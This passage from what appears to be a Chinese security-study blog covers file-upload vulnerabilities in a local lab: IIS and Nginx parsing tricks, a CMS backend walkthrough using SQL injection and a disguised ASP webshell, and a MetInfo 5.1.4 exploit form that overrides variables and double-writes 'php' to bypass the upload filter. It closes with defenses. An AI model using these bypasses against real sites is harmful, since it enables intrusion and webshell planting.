  <h3>8.8.3:PHP CGI解析漏洞</h3> 
  <pre><code>IIS7.0/7.5
IIS7.0/7.5+php环境
		让IIS7.0/7.5 支持PHP环境
		http://localhost:8000/info.png/1.php
Nginx 也存在同样问题
		/info.png/1.php
</code></pre> 
  <p>实验环境win2008<br> 现在win2008上搭建web服务<br> <a href="http://img.e-com-net.com/image/info8/3c91258891eb4acb86f22ca9ea691453.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/3c91258891eb4acb86f22ca9ea691453.jpg" alt="054 webshell介绍与文件上传漏洞_第91张图片" width="650" height="532" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/f82207c4aa344b21a4ed87edbbdc0032.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f82207c4aa344b21a4ed87edbbdc0032.jpg" alt="054 webshell介绍与文件上传漏洞_第92张图片" width="650" height="520" style="border:1px solid black;"></a><br> 先把默认网站删除<br> <a href="http://img.e-com-net.com/image/info8/e3a84787bd9a42559fe2e47ecdec3a2c.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/e3a84787bd9a42559fe2e47ecdec3a2c.jpg" alt="054 webshell介绍与文件上传漏洞_第93张图片" width="650" height="542" style="border:1px solid black;"></a><br> 新建网站:<br> <img src="http://img.e-com-net.com/image/info8/763e8eb3f64c43af839c1249a101243f.png" alt="在这里插入图片描述" width="0" height="0"><br> 双击处理程序映射<br> <a href="http://img.e-com-net.com/image/info8/b6cfb05922c74054b89d0387d55fca17.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b6cfb05922c74054b89d0387d55fca17.jpg" alt="054 webshell介绍与文件上传漏洞_第94张图片" width="650" height="533" style="border:1px solid black;"></a><br> 选择添加模块映射<br> <a href="http://img.e-com-net.com/image/info8/0871b3ae9a7c4c87a8298b680614426e.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/0871b3ae9a7c4c87a8298b680614426e.jpg" alt="054 webshell介绍与文件上传漏洞_第95张图片" width="650" height="442" style="border:1px solid black;"></a><br> 选择可执行文件<br> <a href="http://img.e-com-net.com/image/info8/7c5e07647838444a8561a9b9733c4a5e.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/7c5e07647838444a8561a9b9733c4a5e.jpg" alt="054 webshell介绍与文件上传漏洞_第96张图片" width="650" height="409" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/841f6205c4c74af7a3d26d85ac440daa.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/841f6205c4c74af7a3d26d85ac440daa.png" alt="054 webshell介绍与文件上传漏洞_第97张图片" width="421" height="338" style="border:1px solid black;"></a><br> 然后确定,选择是。配置完成<br> <a href="http://img.e-com-net.com/image/info8/900e2e85c7d3440589c466c8aaf4efc8.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/900e2e85c7d3440589c466c8aaf4efc8.jpg" alt="054 webshell介绍与文件上传漏洞_第98张图片" width="650" height="442" style="border:1px solid black;"></a><br> 接下来:双击进入FastCGI设置<br> <a href="http://img.e-com-net.com/image/info8/780eaddcc6a14e8d990309d8dcbb9357.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/780eaddcc6a14e8d990309d8dcbb9357.jpg" alt="054 webshell介绍与文件上传漏洞_第99张图片" width="650" height="557" style="border:1px solid black;"></a><br> 点击编辑<br> <a href="http://img.e-com-net.com/image/info8/285d3e62d3c54f0a859ea97dad3663b2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/285d3e62d3c54f0a859ea97dad3663b2.jpg" alt="054 webshell介绍与文件上传漏洞_第100张图片" width="650" height="390" style="border:1px solid black;"></a><br> 找到php.ini文件<br> <a href="http://img.e-com-net.com/image/info8/71228219488642d89b556f2b9e1bbcb1.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/71228219488642d89b556f2b9e1bbcb1.png" alt="054 webshell介绍与文件上传漏洞_第101张图片" width="497" height="430" style="border:1px solid black;"></a><br> 到此为止,配置完成。</p> 
  <p>在C:\inetpub\wwwroot目录下创建一个info.php,内容如下图<br> <a href="http://img.e-com-net.com/image/info8/fddbf03b43cf479cba510d021697bba8.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/fddbf03b43cf479cba510d021697bba8.jpg" alt="054 webshell介绍与文件上传漏洞_第102张图片" width="382" height="407" style="border:1px solid black;"></a><br> 然后浏览器直接访问下图地址,发现可以访问成功<br> <a href="http://img.e-com-net.com/image/info8/c596ec155fe648089fd5c12da44e039b.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/c596ec155fe648089fd5c12da44e039b.jpg" alt="054 webshell介绍与文件上传漏洞_第103张图片" width="650" height="192" style="border:1px solid black;"></a><br> 然后在C:\inetpub\wwwroot目录下,复制info.php到当前目录并重命名为info.png。<br> 浏览器访问报错<br> <a href="http://img.e-com-net.com/image/info8/af51f6e6ab9f4e83af3f2cdc86d2b310.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/af51f6e6ab9f4e83af3f2cdc86d2b310.jpg" alt="054 webshell介绍与文件上传漏洞_第104张图片" width="650" height="146" style="border:1px solid black;"></a><br> 好的,,,,接下来就是见证奇迹的时候。<br> 在地址栏后面手动添加/.php<br> <a href="http://img.e-com-net.com/image/info8/c95b43538abf4d1a82e5e84bd5587970.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/c95b43538abf4d1a82e5e84bd5587970.jpg" alt="054 webshell介绍与文件上传漏洞_第105张图片" width="650" height="162" style="border:1px solid black;"></a><br> 访问成功</p> 
  <p>那么这个漏洞怎么防御呢?<br> <a href="http://img.e-com-net.com/image/info8/0ac75e76d027412498a0e13c950fd326.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/0ac75e76d027412498a0e13c950fd326.jpg" alt="054 webshell介绍与文件上传漏洞_第106张图片" width="650" height="453" style="border:1px solid black;"></a><br> 设置之后,浏览器重新访问<br> <a href="http://img.e-com-net.com/image/info8/e5dc4c486f884bc1b0cdb66e3e60ec94.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/e5dc4c486f884bc1b0cdb66e3e60ec94.jpg" alt="054 webshell介绍与文件上传漏洞_第107张图片" width="650" height="342" style="border:1px solid black;"></a><br> 无法访问</p> 
  <h3>8.8.4:Nginx空字节漏洞</h3> 
  <p>localhost/info.html%00.php</p> 
  <h3>8.8.5:Nginx文件名逻辑漏洞(CVE-2013-4745)</h3> 
  <h3>8.8.6:常见编辑器上传</h3> 
  <p>编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞。<br> ewebeditor<br> fckeditor<br> 没有视频中的源码文件夹。。。。。。不能实验了。</p> 
  <p><strong>心得</strong>:上传大马,发现不行,继而上传小马,然后利用中国蚁剑进行大马的上传,小马传大马。渗透途中若是有各种阻挡,不妨用Burp抓包慢慢分析,比如创建1.asp文件夹路径,会被替换为1_asp,从而令IIS6的解析漏洞失去作用,我们就可以抓包,得到路径,然后修改路径,进而创建1.asp路径名。</p> 
  <h3>8.8.7:常见的CMS上传</h3> 
  <p>cms又叫网站内容管理系统,市面上很多开源的CMS的历史版本中基本上存在文件上传漏洞,但是产生文件上传漏洞的原因不尽相同,情景也不似本章上文中介绍的那样“直白”。类似的CMS有很多,比如常见的dedeCMS,PHPcms等。</p> 
  <h3>8.8.8:南方数据管理系统(经典案例)</h3> 
  <p>后台getshell<br> asp|access|.mdb|下载<br> win2003<br> 权限<br> 利用数据库备份getshell|另存|自定义文件的名字|上传图片木马</p> 
  <p>找不到文件,只能视频部分截图:<br> <a href="http://img.e-com-net.com/image/info8/36cdde8dd6e54404ae0a83cf391a7a2d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/36cdde8dd6e54404ae0a83cf391a7a2d.jpg" alt="054 webshell介绍与文件上传漏洞_第108张图片" width="650" height="281" style="border:1px solid black;"></a><br> sql注入点1:<br> <a href="http://img.e-com-net.com/image/info8/98d923f514b44d31a46135db37d4b2da.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/98d923f514b44d31a46135db37d4b2da.jpg" alt="在这里插入图片描述" width="650" height="72"></a><br> 直接得到管理员账号密码。<br> sql注入点2:<br> <a href="http://img.e-com-net.com/image/info8/7db81c798f34424fa6ad2eec1a36cb1f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/7db81c798f34424fa6ad2eec1a36cb1f.jpg" alt="在这里插入图片描述" width="650" height="45"></a><br> 可以通过御剑扫描到网站后台地址,然后通过刚获得到的账密,直接登录后台。<br> 找到可以上传文件的地方,然后上传大马,如下图:<br> <a href="http://img.e-com-net.com/image/info8/046b45aacb0a4a489d6501876f28e49c.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/046b45aacb0a4a489d6501876f28e49c.jpg" alt="054 webshell介绍与文件上传漏洞_第109张图片" width="650" height="352" style="border:1px solid black;"></a><br> 报错,该类型不允许上传。。。。那么此时应该怎么办??<br> 我们想到通过抓包来一探究竟。。。。<br> 修改为jpg后缀。<br> <a href="http://img.e-com-net.com/image/info8/13738fdf4d214cca91fad0090cf07493.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/13738fdf4d214cca91fad0090cf07493.jpg" alt="054 webshell介绍与文件上传漏洞_第110张图片" width="650" height="388" style="border:1px solid black;"></a><br> 我们猜测图片路径,路径如下图(图片已找到,只是不能显示,因为black.jpg只是后缀名为jpg,内容却为asp)<br> <a href="http://img.e-com-net.com/image/info8/b9961b75e3b6480599cf370c11e09575.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b9961b75e3b6480599cf370c11e09575.jpg" alt="在这里插入图片描述" width="650" height="76"></a><br> 同样的猜测数据库路径:<br> <a href="http://img.e-com-net.com/image/info8/def35459b8534a01998b00b63dfcc72d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/def35459b8534a01998b00b63dfcc72d.jpg" alt="054 webshell介绍与文件上传漏洞_第111张图片" width="650" height="309" style="border:1px solid black;"></a><br> 发现.mdb文件可以下载。<br> <a href="http://img.e-com-net.com/image/info8/59619722b2b745d9ba6d87e7db9e53b7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/59619722b2b745d9ba6d87e7db9e53b7.jpg" alt="054 webshell介绍与文件上传漏洞_第112张图片" width="650" height="407" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/ceb0f177842c489c924ab3ed669b5749.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/ceb0f177842c489c924ab3ed669b5749.jpg" alt="054 webshell介绍与文件上传漏洞_第113张图片" width="650" height="273" style="border:1px solid black;"></a><br> 点击确定<br> <a href="http://img.e-com-net.com/image/info8/0d694274d1fa4802870f6eb4ad06c704.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/0d694274d1fa4802870f6eb4ad06c704.jpg" alt="054 webshell介绍与文件上传漏洞_第114张图片" width="650" height="187" style="border:1px solid black;"></a><br> 这样就绕过了无法上传asp文件的防御了。<br> 然后我们进入这个地址<br> <a href="http://img.e-com-net.com/image/info8/0db7148462a04ac8ad8a647656808461.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/0db7148462a04ac8ad8a647656808461.jpg" alt="054 webshell介绍与文件上传漏洞_第115张图片" width="650" height="258" style="border:1px solid black;"></a><br> 无法打开,此时只需要把地址栏中的.asa去掉即可。<br> <a href="http://img.e-com-net.com/image/info8/f8fa2dee2cda40fc981516c07790423e.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f8fa2dee2cda40fc981516c07790423e.jpg" alt="054 webshell介绍与文件上传漏洞_第116张图片" width="650" height="184" style="border:1px solid black;"></a><br> asp大马上传成功。</p> 
  <h3>8.8.9:metinfov5.0.4 文件上传</h3> 
  <p><strong>声明下:</strong><br> 5.0.4版本的文件找了很久很久的百度都没找到源码,也有很多小伙伴也同样在求源码,同样是没有找到。。。唉。。。后来我好不容易(到底是容易还是不容易。。。哈哈哈,汉语就是博大精深)找到5.0.4文件。结果却。。。。<br> <a href="http://img.e-com-net.com/image/info8/abca7e75f1af4fbdb3d82f7a5e32970a.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/abca7e75f1af4fbdb3d82f7a5e32970a.jpg" alt="054 webshell介绍与文件上传漏洞_第117张图片" width="650" height="184" style="border:1px solid black;"></a><br> 啊啊啊啊啊啊,,,,什么鬼哦。</p> 
  <p>那怎么办?继续找呗。还是没找到,我看毕竟有残缺文件,就找到了个5.1.4版本的。然后纠结了一个问题,纠结了很久,源于一句怎么防御的话:“可以给文件加权限,杜绝漏洞的利用”。。。。如下图:<br> <a href="http://img.e-com-net.com/image/info8/a076c5fd59b94224bdcee8da20118cb3.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/a076c5fd59b94224bdcee8da20118cb3.png" alt="054 webshell介绍与文件上传漏洞_第118张图片" width="715" height="182" style="border:1px solid black;"></a><br> 弄了半天,修改过,windows下的temp文件,也修改过Php.ini临时文件的内容,还有替换过文件,修改过文件的各种权限。。。等等一大堆。。。后来发现,没有写权限,根本不影响。。。。气哭~~<br>  </p> 
  <p>好了,废话不多少了,先给源码地址。点我下载 (访问密码:ELiBpz)<br> 如果有下图这个文件,先把它删除。否则会无法安装,这是一个确认是否安装的文件。</p> 
  <p><a href="http://img.e-com-net.com/image/info8/4dd07f6d0f844c19b6254427ec947a14.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/4dd07f6d0f844c19b6254427ec947a14.png" alt="054 webshell介绍与文件上传漏洞_第119张图片" width="295" height="278" style="border:1px solid black;"></a></p> 
  <p>你下载之后,把下图红框中,没有副本的三组文件,剪切出去,自己存一个地方,然后重命名把【 - 副本】去掉。还原文件名。<br> <a href="http://img.e-com-net.com/image/info8/d463ec3701db41f4abd044d966976d0f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d463ec3701db41f4abd044d966976d0f.jpg" alt="054 webshell介绍与文件上传漏洞_第120张图片" width="650" height="428" style="border:1px solid black;"></a></p> 
  <p><strong>metinfo安装:</strong><br> 环境需求:<br> phpstudy</p> 
  <p>把下载好的metinfo压缩包,解压后放到phpstudy的www目录下。<br> 浏览器访问,访问地址最好不要写localhost或者127.0.0.1,因为,我们在用brup抓包的时候,这两个地址是不会进行抓包的,可以直接写IP地址。</p> 
  <p><a href="http://img.e-com-net.com/image/info8/d48601395a6745d58fe9b0866a25eafc.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d48601395a6745d58fe9b0866a25eafc.jpg" alt="054 webshell介绍与文件上传漏洞_第121张图片" width="650" height="499" style="border:1px solid black;"></a><br> 同意安装</p> 
  <p>下图这是我之前少文件的安装,5.1.4版本的不会有下图这种情况。<br> <a href="http://img.e-com-net.com/image/info8/c8368a71db6b4d68b65e98b6ff1758da.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/c8368a71db6b4d68b65e98b6ff1758da.jpg" alt="054 webshell介绍与文件上传漏洞_第122张图片" width="650" height="496" style="border:1px solid black;"></a><br> 若是出现:<br> <a href="http://img.e-com-net.com/image/info8/ed05679fc46645a7936a1e4c12630856.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/ed05679fc46645a7936a1e4c12630856.jpg" alt="054 webshell介绍与文件上传漏洞_第123张图片" width="650" height="367" style="border:1px solid black;"></a></p> 
  <p>这是正常的:<br> <a href="http://img.e-com-net.com/image/info8/3a87a568552f415dbe4200f71a0a7259.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/3a87a568552f415dbe4200f71a0a7259.jpg" alt="054 webshell介绍与文件上传漏洞_第124张图片" width="650" height="280" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/824c6a584f4744b994f0fc93b19925db.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/824c6a584f4744b994f0fc93b19925db.jpg" alt="054 webshell介绍与文件上传漏洞_第125张图片" width="650" height="403" style="border:1px solid black;"></a></p> 
  <p><a href="http://img.e-com-net.com/image/info8/92c34d54d4e14323a671e77a3eaf6bf6.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/92c34d54d4e14323a671e77a3eaf6bf6.jpg" alt="054 webshell介绍与文件上传漏洞_第126张图片" width="650" height="583" style="border:1px solid black;"></a><br> 点击进入网页:<br> <a href="http://img.e-com-net.com/image/info8/2a27495f416545f49477049ce25357ea.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/2a27495f416545f49477049ce25357ea.jpg" alt="054 webshell介绍与文件上传漏洞_第127张图片" width="650" height="355" style="border:1px solid black;"></a></p> 
  <p><strong>到此,安装好了,<br> 接下来学习这个网站的文件上传漏洞:</strong><br> 进入D:\phpStudy\WWW\MetInfo5.1.4\admin\include目录下,先把文件内容进行备份<br> <a href="http://img.e-com-net.com/image/info8/2919a19782f34a59911017e0d566a751.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/2919a19782f34a59911017e0d566a751.jpg" alt="054 webshell介绍与文件上传漏洞_第128张图片" width="650" height="520" style="border:1px solid black;"></a></p> 
  <p>造成这个漏洞的原因就是:<strong>变量覆盖漏洞</strong></p> 
  <p><a href="http://img.e-com-net.com/image/info8/1ab63dbd8e25410aa7bb3341ed83074f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/1ab63dbd8e25410aa7bb3341ed83074f.jpg" alt="054 webshell介绍与文件上传漏洞_第129张图片" width="650" height="139" style="border:1px solid black;"></a><br> 理解:</p> 
  <pre><code class="prism language-powershell">	<?php
		<span class="token variable">$name</span>=<span class="token string">"HELLOWORLD"</span><span class="token punctuation">;</span>
		<span class="token operator">/</span><span class="token operator">/</span>?name=xxx&pass=123
		<span class="token keyword">foreach</span><span class="token punctuation">(</span><span class="token variable">$_GET</span> as <span class="token variable">$key</span>=><span class="token variable">$val</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
			$<span class="token variable">$key</span>=<span class="token variable">$val</span><span class="token punctuation">;</span>		<span class="token operator">/</span><span class="token operator">/</span><span class="token variable">$name</span>=xxx<span class="token punctuation">;</span>
		<span class="token punctuation">}</span>
		var_dump<span class="token punctuation">(</span><span class="token variable">$name</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
	?>
通过变量覆盖漏洞,可以修改web应用的参数。
</code></pre> 
  <p>我们访问http://192.168.49.13/MetInfo5.1.4/admin/include/uploadify.php<br> <a href="http://img.e-com-net.com/image/info8/2e12cc5920f545df887a725559f3a5a1.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/2e12cc5920f545df887a725559f3a5a1.jpg" alt="054 webshell介绍与文件上传漏洞_第130张图片" width="650" height="438" style="border:1px solid black;"></a><br> 为什么上传失败?<br> 打开uploadify.php<br> <a href="http://img.e-com-net.com/image/info8/58b0802fdbdc471baf4a633b408acacb.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/58b0802fdbdc471baf4a633b408acacb.jpg" alt="054 webshell介绍与文件上传漏洞_第131张图片" width="650" height="311" style="border:1px solid black;"></a><br> 显示上传失败,那么就猜测$lang_uplaoderr1有可能是上传失败。<br> 我们可以在echo $lang_uplaoderr1;这一行下面写个<code>echo "<hr />";</code>进行验证。<br> <a href="http://img.e-com-net.com/image/info8/dfa03cb5b42d42c598f365372af852a9.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/dfa03cb5b42d42c598f365372af852a9.jpg" alt="054 webshell介绍与文件上传漏洞_第132张图片" width="650" height="220" style="border:1px solid black;"></a><br> 有下划线,说明代码正在运行if里面的语句内容。而我们要想继续运行下去,就得让if语句不成立,所以我们就必须要让metinfo_admin_id和metinfo_admin_pass有值。<br> 所以:<br> <a href="http://img.e-com-net.com/image/info8/abd81d6f532f469c903ff1df54635e9f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/abd81d6f532f469c903ff1df54635e9f.jpg" alt="054 webshell介绍与文件上传漏洞_第133张图片" width="650" height="437" style="border:1px solid black;"></a><br> 横线没有显示了,说明已经绕过了第一个if语句了。<br> 继续看代码,此时进入下图中的红框内容:<br> <a href="http://img.e-com-net.com/image/info8/0614ed5b9273454f87c75dc844d092d0.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/0614ed5b9273454f87c75dc844d092d0.jpg" alt="054 webshell介绍与文件上传漏洞_第134张图片" width="650" height="189" style="border:1px solid black;"></a><br> 发现一条SQL语句,由图中注释信息可知,在加入#(%23)注释符号,就会让后面的内容不起作用,前面就一定为真<br> <a href="http://img.e-com-net.com/image/info8/528007c177c749d88d925d57a199b060.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/528007c177c749d88d925d57a199b060.jpg" alt="054 webshell介绍与文件上传漏洞_第135张图片" width="650" height="372" style="border:1px solid black;"></a></p> 
  <p>输出0,没有提示上传失败</p> 
  <p>然后继续往下看代码,发现<br> <a href="http://img.e-com-net.com/image/info8/577a5ad510114958b3136dadc78034f7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/577a5ad510114958b3136dadc78034f7.jpg" alt="054 webshell介绍与文件上传漏洞_第136张图片" width="650" height="137" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/cdd9b6b4d0eb4230806c587bb9e5cbf7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/cdd9b6b4d0eb4230806c587bb9e5cbf7.jpg" alt="054 webshell介绍与文件上传漏洞_第137张图片" width="650" height="361" style="border:1px solid black;"></a><br> 继续<br> &met_file_format=jpg|php<br> <a href="http://img.e-com-net.com/image/info8/c2330af3ad44496caf59c974e1e4e664.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/c2330af3ad44496caf59c974e1e4e664.jpg" alt="054 webshell介绍与文件上传漏洞_第138张图片" width="650" height="380" style="border:1px solid black;"></a><br> 发现上传文件白名单被修改了<br> <a href="http://img.e-com-net.com/image/info8/74fb32d7432a4766acc2da4ba3231466.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/74fb32d7432a4766acc2da4ba3231466.jpg" alt="054 webshell介绍与文件上传漏洞_第139张图片" width="650" height="115" style="border:1px solid black;"></a><br> 那么在upfile.class.php中<br> <a href="http://img.e-com-net.com/image/info8/b5286ff2be2d4fa7aedd1458af4559e1.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b5286ff2be2d4fa7aedd1458af4559e1.jpg" alt="054 webshell介绍与文件上传漏洞_第140张图片" width="650" height="104" style="border:1px solid black;"></a></p> 
  <p>此时,我们在桌面写一个html文件<br> 代码如下:</p> 
  <pre><code class="prism language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>form</span>
	<span class="token attr-name">enctype</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>multipart/form-data<span class="token punctuation">"</span></span>
	<span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>post<span class="token punctuation">"</span></span>
	<span class="token attr-name">action</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://192.168.49.13/MetInfo5.1.4/admin/include/uploadify.php
?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|php<span class="token punctuation">"</span></span>
<span class="token punctuation">></span></span>
	<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Filedata<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
	<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>form</span><span class="token punctuation">></span></span>
</code></pre> 
  <p>再写一个info.php文件</p> 
  <pre><code class="prism language-php"><span class="token delimiter important"><?php</span>
<span class="token function">phpinfo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/f5f25eb9d5d24044a7ac2e7362735ec7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f5f25eb9d5d24044a7ac2e7362735ec7.jpg" alt="054 webshell介绍与文件上传漏洞_第141张图片" width="650" height="185" style="border:1px solid black;"></a><br> submit提交<br> <a href="http://img.e-com-net.com/image/info8/ee2ea2911d15468eb65a3de726e1e300.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/ee2ea2911d15468eb65a3de726e1e300.jpg" alt="054 webshell介绍与文件上传漏洞_第142张图片" width="650" height="188" style="border:1px solid black;"></a><br> 这就奇怪了,明明前面设置了上传文件类型有php呀,怎么不允许呢?<br> 在upfile.class.php中:<br> <a href="http://img.e-com-net.com/image/info8/9a36e2a343654acab44ef420bc214eda.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/9a36e2a343654acab44ef420bc214eda.jpg" alt="054 webshell介绍与文件上传漏洞_第143张图片" width="650" height="307" style="border:1px solid black;"></a><br> 做了php过滤,这里我们采用 双写绕过<br> test.html文件做如下修改:</p> 
  <pre><code class="prism language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>form</span>
	<span class="token attr-name">enctype</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>multipart/form-data<span class="token punctuation">"</span></span>
	<span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>post<span class="token punctuation">"</span></span>
	<span class="token attr-name">action</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://192.168.49.13/MetInfo5.1.4/admin/include/uploadify.php
?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp<span class="token punctuation">"</span></span>
<span class="token punctuation">></span></span>
	<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>file<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Filedata<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
	<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>form</span><span class="token punctuation">></span></span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/f7711e8aa6ab46f5a9acd08bcac24223.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f7711e8aa6ab46f5a9acd08bcac24223.jpg" alt="054 webshell介绍与文件上传漏洞_第144张图片" width="650" height="172" style="border:1px solid black;"></a><br> 复制地址到浏览器<br> <a href="http://img.e-com-net.com/image/info8/840acc2ca20b44bab25b7f7a0d4d694c.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/840acc2ca20b44bab25b7f7a0d4d694c.jpg" alt="054 webshell介绍与文件上传漏洞_第145张图片" width="650" height="235" style="border:1px solid black;"></a><br> 文件上传成功</p> 
  <p>OKOK 实验终于成功了。。。</p> 
  <p> </p> 
  <h1>九:文件上传漏洞的防御</h1> 
  <p>关于文件上传的防御,防住危险的脚本类型是最基本的防御,最理想的是能够过滤掉图片马中的恶意代码,如果一个web应用能够上传图片木马,那么我们认为这个web应用是不安全的。<br> 文件上传漏洞的防御主要从以下几个方面考虑。</p> 
  <pre><code>	代码角度:
		采用白名单策略,严格限制上传文件的后缀名。
		进行二次渲染,过滤掉图片马中的恶意代码。
		上传文件重命名,尽量少的从客户端获取信息。
		避免文件包含漏洞
</code></pre> 
  <p>当然还有可以给文件设置权限(读写执行)等等。。</p> 
 </div> 
</div>����
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1641199176530321408"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
